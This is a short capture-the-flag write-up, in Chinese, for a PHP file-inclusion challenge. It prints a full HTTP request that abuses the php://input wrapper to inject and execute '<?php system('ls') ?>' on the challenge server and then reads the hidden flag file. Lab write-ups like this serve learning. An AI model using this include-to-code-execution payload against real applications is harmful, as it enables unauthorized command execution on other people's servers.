解题思路
打开靶场
直接提示了文件包含漏洞,一些无用功的具体细节就不贴在这里了
查看源码、抓包,都没有什么信息
我用了伪协议读取了Index.php文件,也没有什么信息
这里思路肯定是通过读取某个文件获取flag,但是我们不知道是什么文件,必须找到它
然后我用了两种扫目录的软件也都没扫出来,下面是正确姿势
抓包、利用伪协议,更改请求方式get为post
POST /?url=php://input HTTP/1.1
Host: 4bbeb598-11a5-456e-b8ca-aa573d9ae931.challenge.ctf.show
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138", "Microsoft Edge";v="138"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i
Connection: close
Content-Length: 25
<?php
system('ls')
?>
伪协议input会将post提交的数据当作php代码执行
/?url=php://input
而由于我们提交了查看目录的命令,即php代码
成功看到ctf_go_go_go文件,怪不得扫不出来..
直接利用文件包含漏洞即可获取flag
总结
一道基础的文件包含漏洞的题目,主要学习的还是伪协议的利用,特别是命令执行方面。